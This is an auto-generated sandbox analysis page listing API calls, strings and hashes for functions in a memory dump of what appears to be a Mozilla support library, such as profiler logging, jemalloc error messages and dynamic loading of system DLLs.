Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 3e76e2ff99ded5150967956cd4796c73dbd047cfe730c6804cddd206fa5a22d5
Instruction ID: 0c96e1ea7f36a8d7e23b43b62a2e05cb944b5c2282129afd3b6a3d66d21e0a38
Opcode Fuzzy Hash: 3e76e2ff99ded5150967956cd4796c73dbd047cfe730c6804cddd206fa5a22d5
Instruction Fuzzy Hash: FF118174200204EFDF20DF97EC4CE5E3B7AEB8A356F014129FA1982642E7309815CFA5

Function 6C530EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C55AB89: EnterCriticalSection.KERNEL32(6C5AE370,?,?,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284), ref: 6C55AB94
Part of subcall function 6C55AB89: LeaveCriticalSection.KERNEL32(6C5AE370,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284,?,?,6C5456F6), ref: 6C55ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C55D9F0,00000000), ref: 6C530F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C530F3C
__Init_thread_footer.LIBCMT ref: 6C530F50
FreeLibrary.KERNEL32(?,6C55D9F0,00000000), ref: 6C530F86

Strings

combase.dll, xrefs: 6C530F18
CoInitializeEx, xrefs: 6C530F36

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: ff45f6cbcb6a581054bb2d65b4aac283872858610b937fe8a7ec374651bffbf6
Instruction ID: ad4e5533f0f06b14d7fb1818bab1c1dd5475c16b1f7a362a978125f66b4a610b
Opcode Fuzzy Hash: ff45f6cbcb6a581054bb2d65b4aac283872858610b937fe8a7ec374651bffbf6
Instruction Fuzzy Hash: F411A0746013549BDF00DFD6ED18A5E37B4EB8E325F02432BE90992642E730A405CBA9

Function 6C56F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C534A68), ref: 6C56945E
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C569470
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C569482
Part of subcall function 6C569420: __Init_thread_footer.LIBCMT ref: 6C56949F

GetCurrentThreadId.KERNEL32 ref: 6C56F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56F561

Part of subcall function 6C5694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5694EE
Part of subcall function 6C5694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C569508

GetCurrentThreadId.KERNEL32 ref: 6C56F577
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56F585
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C56F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C56F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C56F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C56F56A

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 52dde4335ecd894d8ce5891dc064965c2e7d52bb53aff25dbc6bfd87cb44bafb
Instruction ID: ac8b9b59a8aca966eae0519f109ac344f0077d2369fcc3a74ad9ec4fff64d524
Opcode Fuzzy Hash: 52dde4335ecd894d8ce5891dc064965c2e7d52bb53aff25dbc6bfd87cb44bafb
Instruction Fuzzy Hash: E0F05475600208AFDA007BE7AC48A5E7BBDFBCA25DF010115EA0583B12DB768C0587B9

Function 6C530E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C530DF8), ref: 6C530E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C530EA1
__Init_thread_footer.LIBCMT ref: 6C530EB5
FreeLibrary.KERNEL32 ref: 6C530EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C530E9B
kernel32.dll, xrefs: 6C530E7D

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: af038e6a6ea88b8e98ff19e54ce05d4015b6cfe57f54def9c35625f9c34d5a79
Instruction ID: 65617ae9624fd56e6dd55f4252f66e5e0a6fd1fd6c7bbcebdff9bcaa858c50dd
Opcode Fuzzy Hash: af038e6a6ea88b8e98ff19e54ce05d4015b6cfe57f54def9c35625f9c34d5a79
Instruction Fuzzy Hash: 9C014B70B04395CBDF009FEAEC14A5A33B5E786319F121626D90582B80EB70A8099B99

Function 6C56F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C534A68), ref: 6C56945E
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C569470
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C569482
Part of subcall function 6C569420: __Init_thread_footer.LIBCMT ref: 6C56949F

GetCurrentThreadId.KERNEL32 ref: 6C56F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C56F598), ref: 6C56F621

Part of subcall function 6C5694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5694EE
Part of subcall function 6C5694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C569508

GetCurrentThreadId.KERNEL32 ref: 6C56F637
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8,?,?,00000000,?,6C56F598), ref: 6C56F645
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8,?,?,00000000,?,6C56F598), ref: 6C56F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C56F62A

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 56462e59f708d558f79647b74ff38bf3b47284405da3f95813541c9130bed6ca
Instruction ID: e170c4c7af6b0700f2b6b1984b6fbbc3d46f77a246887b65498b3222f53dd224
Opcode Fuzzy Hash: 56462e59f708d558f79647b74ff38bf3b47284405da3f95813541c9130bed6ca
Instruction Fuzzy Hash: 6FF05475600208EFDA007BE7AC48A5E7B7DFBCA25DF010115EA0583B51DB764C0587B9

Function 6C5605F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C55CFAE,?,?,?,6C5231A7), ref: 6C5605FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C55CFAE,?,?,?,6C5231A7), ref: 6C560616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5231A7), ref: 6C56061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5231A7), ref: 6C560627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C56061B, 6C560625
<jemalloc>, xrefs: 6C5605FA, 6C56060F

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: be3cde7e038f1d7157b93030d8daa094f3a9f7dcf5075910c1795384cc25dd96
Instruction ID: e08eb02b873275851cff2e9cdead2a49f9ba1ddbe5e39dd58a237d2aecdfb06e
Opcode Fuzzy Hash: be3cde7e038f1d7157b93030d8daa094f3a9f7dcf5075910c1795384cc25dd96
Instruction Fuzzy Hash: BEE08CF2A0105437F514225ABC86DBB761CDBC6174F080039FD0D82301EA4ABD1A51F6

Function 6C5305F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2b347fba73b1743ba8caaebc02d79775ca7b42a3b5f23550a81f9c4dfecd9b5
Instruction ID: 9a2b6b6791b998a91a8652de895a0889021518cd2a929549c5c5191c6b2c3969
Opcode Fuzzy Hash: f2b347fba73b1743ba8caaebc02d79775ca7b42a3b5f23550a81f9c4dfecd9b5
Instruction Fuzzy Hash: 5BA137B0A01755CFDB24CF69C994A9EFBF1BF89304F44866AD44A97B00E730A955CFA0

Function 6C5814A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5814C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5814E2
GetCurrentThreadId.KERNEL32 ref: 6C581546
InitializeConditionVariable.KERNEL32(?), ref: 6C5815BA
free.MOZGLUE(?), ref: 6C5816B4

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 0da591a9a227cb19e5418ea08b77ff60d53115f75f6ffce7817e59a5f8ffe1ae
Instruction ID: c67ac82fab3294ba71b684899b3930623e425800e8cee79bb0c702bbb392a1a7
Opcode Fuzzy Hash: 0da591a9a227cb19e5418ea08b77ff60d53115f75f6ffce7817e59a5f8ffe1ae
Instruction Fuzzy Hash: 3861DD71A01714DBDB218F21DC80BDFB7B0BF89308F45891DE99A57611EB31E998CB91

Function 6C579F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C579FDB
free.MOZGLUE(?,?), ref: 6C579FF0
free.MOZGLUE(?,?), ref: 6C57A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C57A0BE
free.MOZGLUE(?,?), ref: 6C57A0D5
free.MOZGLUE(?,?), ref: 6C57A0EB

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 5bbab1551de4845513e6a902059b23f3512711af42a02b970447a3584dda7505
Instruction ID: f44f00a6157fe4be9b6725f88fb47a4fe5f3c07bd87908006be27dd064193b10
Opcode Fuzzy Hash: 5bbab1551de4845513e6a902059b23f3512711af42a02b970447a3584dda7505
Instruction Fuzzy Hash: 9E61CF75408601DFC721CF18C88059AB3F5FFC8328F549659E8999B702EB32E986CBD1

Function 6C57DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C57DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C57D38A,?), ref: 6C57DC6F
free.MOZGLUE(?,?,?,?,?,6C57D38A,?), ref: 6C57DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C57D38A,?), ref: 6C57DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C57D38A,?), ref: 6C57DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C57D38A,?), ref: 6C57DD4A

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 4585344dc77219830cccff7aecf5406e45cff57357185860738b02cd6ca06dd0
Instruction ID: bdd238c80cc66725cdd78eb2d57e2c69680187745e23212e23d69a8e57e341f4
Opcode Fuzzy Hash: 4585344dc77219830cccff7aecf5406e45cff57357185860738b02cd6ca06dd0
Instruction Fuzzy Hash: 00416DB5A00219CFCB10CF99CC8499ABBF5FF88314B554569D945A7B10D771FC40CBA0

Function 6C57C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C57C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C57C842

Part of subcall function 6C57CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C59B5EB,00000000), ref: 6C57CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C57C863
std::_Facet_Register.LIBCPMT ref: 6C57C875

Part of subcall function 6C55B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C59B636,?), ref: 6C55B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C57C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C57C8BC

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 8083d8be3ff972b8552dda79aced3565be4cc14ae0130382e3c82a4c469d32e9
Instruction ID: ffa5fae85e162f2bee1640cf21cfa1be9f9ddd9b9d0488915e66648886a48e90
Opcode Fuzzy Hash: 8083d8be3ff972b8552dda79aced3565be4cc14ae0130382e3c82a4c469d32e9
Instruction Fuzzy Hash: D0119371B002099FCF00EFE5DC999AE7BB4EF89354B010129E50697341EB30AD44CBE5

Function 6C55F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C55F480

Part of subcall function 6C52F100: LoadLibraryW.KERNEL32(shell32,?,6C59D020), ref: 6C52F122
Part of subcall function 6C52F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C52F132

CloseHandle.KERNEL32(00000000), ref: 6C55F555

Part of subcall function 6C5314B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C531248,6C531248,?), ref: 6C5314C9
Part of subcall function 6C5314B0: memcpy.VCRUNTIME140(?,6C531248,00000000,?,6C531248,?), ref: 6C5314EF

Part of subcall function 6C52EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C52EEE3

CreateFileW.KERNEL32 ref: 6C55F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C55F523

Strings

\oleacc.dll, xrefs: 6C55F4CB

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: fa9c98dc04869396055aa4a1e23b5a62bbaf3f23eee4f1b4d9890a93400a51d3
Instruction ID: 6227f32a8f92220cd060cc10b504abfe03ffeb12316a589579b57e65055cab45
Opcode Fuzzy Hash: fa9c98dc04869396055aa4a1e23b5a62bbaf3f23eee4f1b4d9890a93400a51d3
Instruction Fuzzy Hash: 6341BD306087109FE720DF69DD84A9AB3F4AF84318F900B1DE59183650EB70E959CB92

Function 6C56E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C534A68), ref: 6C56945E
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C569470
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C569482
Part of subcall function 6C569420: __Init_thread_footer.LIBCMT ref: 6C56949F

GetCurrentThreadId.KERNEL32 ref: 6C56E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56E04F

Part of subcall function 6C5694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5694EE
Part of subcall function 6C5694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C569508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C56E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C56E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C56E057

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 3e2900f7940f3ebcf79ad8ec05235c093feebfa8583d63ed97fe52b6964db410
Instruction ID: 42d1972c8df3fd6a027e24b0ba82e5f7e13cd38fe11e7084bd9e85e1ae58812c
Opcode Fuzzy Hash: 3e2900f7940f3ebcf79ad8ec05235c093feebfa8583d63ed97fe52b6964db410
Instruction Fuzzy Hash: C021F574B011089FCF00DFA6DC586AEB7B5BF85218F150014E84697B50EB71AD09C7D1

Function 6C5874A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C587526
__Init_thread_footer.LIBCMT ref: 6C587566
__Init_thread_footer.LIBCMT ref: 6C587597

Strings

UnmapViewOfFile2, xrefs: 6C587552
kernel32.dll, xrefs: 6C587557

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 412661274437c7eb3d9a0dfd94c0b4c4c1706e2a7091bb7e02b238ff15829a56
Instruction ID: dfccd9bca9eb6f6417e6bab7477c23f0836ace0a980b05646e8f41a2fb23298a
Opcode Fuzzy Hash: 412661274437c7eb3d9a0dfd94c0b4c4c1706e2a7091bb7e02b238ff15829a56
Instruction Fuzzy Hash: DD21C531B02521DBCB14DBEADC54E5D3775EBC63B4B15462AF40557B80DB31A80287A9

Function 6C58A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5AF770,-00000001,?,6C59E330,?,6C54BDF7), ref: 6C58A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C54BDF7), ref: 6C58A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C54BDF7), ref: 6C58A7E4
LeaveCriticalSection.KERNEL32(6C5AF770), ref: 6C58A80A

Strings

accelerator.dll, xrefs: 6C58A7BF

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
